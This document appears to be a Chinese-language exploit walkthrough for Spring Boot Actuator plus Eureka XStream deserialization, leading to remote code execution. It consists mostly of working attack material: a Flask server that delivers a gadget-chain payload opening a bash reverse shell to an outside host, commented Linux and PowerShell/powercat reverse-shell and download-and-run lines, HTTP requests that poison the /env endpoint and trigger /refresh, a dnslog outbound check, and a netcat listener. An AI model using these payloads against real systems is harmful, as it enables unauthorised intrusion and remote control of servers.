app="Eureka-Server"
http://127.0.0.1:9092/env


- # -*- coding: utf-8 -*-
- # @Time : 2019/3/12 10:06
- # @Author : j1anFen
- # @Site :
- # @File : run.py
-
-
- # linux反弹shell bash -i >& /dev/tcp/192.168.20.82/9999 0>&1
- # windows反弹shell
- # <string>powershellstring>
- # <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');string>
- # <string>powercat -c 192.168.123.1 -p 2333 -e cmdstring>
-
- from flask import Flask, Response
-
- app = Flask(__name__)
-
- @app.route('/', defaults={'path': ''})
- @app.route('/<path:path>', methods = ['GET', 'POST'])
- def catch_all(path):
- xml = """<linked-hash-set>
- <jdk.nashorn.internal.objects.NativeString>
- <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
- <dataHandler>
- <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
- <is class="javax.crypto.CipherInputStream">
- <cipher class="javax.crypto.NullCipher">
- <serviceIterator class="javax.imageio.spi.FilterIterator">
- <iter class="javax.imageio.spi.FilterIterator">
- <iter class="java.util.Collections$EmptyIterator"/>
- <next class="java.lang.ProcessBuilder">
- <command>
- <string>/bin/bashstring>
- <string>-cstring>
- <string>bash -i >& /dev/tcp/88.88.88.88/3333 0>&1string>
- command>
- <redirectErrorStream>falseredirectErrorStream>
- next>
- iter>
- <filter class="javax.imageio.ImageIO$ContainsFilter">
- <method>
- <class>java.lang.ProcessBuilderclass>
- <name>startname>
- <parameter-types/>
- method>
- <name>fooname>
- filter>
- <next class="string">foonext>
- serviceIterator>
- <lock/>
- cipher>
- <input class="java.lang.ProcessBuilder$NullInputStream"/>
- <ibuffer>ibuffer>
- is>
- dataSource>
- dataHandler>
- value>
- jdk.nashorn.internal.objects.NativeString>
- linked-hash-set>"""
- return Response(xml, mimetype='application/xml')
- if __name__ == "__main__":
- app.run(host='0.0.0.0', port=2222)


http://dnslog.cn/

- POST /env
- Content-Type: application/x-www-form-urlencoded
-
- eureka.client.serviceUrl.defaultZone=http://your-vps-ip:2222/xstream
- POST /actuator/env
- Content-Type: application/json
-
- {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/xstream"}
- POST /env HTTP/1.1
- Host: xx.xx.3.48:8080
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
- Accept:
- DNT: 1
- Connection: close
- Content-Type: application/x-www-form-urlencoded
- Upgrade-Insecure-Requests: 1
- Cache-Control: max-age=0
- Content-Length: 60
-
- eureka.client.serviceUrl.defaultZone=http://3q33zc.dnslog.cn

- POST /refresh
- Content-Type: application/x-www-form-urlencoded
- POST /actuator/refresh
- Content-Type: application/json

执行完了刷新以后可以收到请求记录则证明目标机器可以出网,否则不能出网

再访问目标网址(发现网址已经被写入)

nc -lvvp 3333

python3 flsak_eureka.py
- POST /env HTTP/1.1
- Host: xx.xx.3.48:8080
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
- Accept:
- DNT: 1
- Connection: close
- Content-Type: application/x-www-form-urlencoded
- Upgrade-Insecure-Requests: 1
- Cache-Control: max-age=0
- Content-Length: 70
-
- eureka.client.serviceUrl.defaultZone=http://88.88.88.88:2222/xstream
- POST /refresh HTTP/1.1
- Host: xx.xx.3.48:8080
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
- Accept:
- DNT: 1
- Connection: close
- Content-Type: application/x-www-form-urlencoded
- Upgrade-Insecure-Requests: 1
- Cache-Control: max-age=0
- Content-Length: 0
-
-


https://github.com/LandGrey/SpringBootVulExploit